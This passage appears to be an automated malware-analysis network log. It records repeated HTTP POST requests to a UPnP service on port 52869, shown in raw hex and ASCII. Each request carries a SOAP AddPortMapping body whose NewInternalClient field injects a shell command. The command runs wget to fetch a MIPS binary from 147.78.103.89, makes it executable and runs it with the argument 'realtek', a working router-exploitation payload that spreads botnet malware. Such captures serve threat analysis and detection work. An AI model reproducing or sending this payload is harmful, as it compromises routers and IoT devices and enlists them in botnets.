68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:43.641489029 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:45.981420040 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:50.585366964 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:59.545013905 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:17.464555025 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:54.327486992 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      93192.168.2.154184445.207.131.17652869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:44.103750944 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
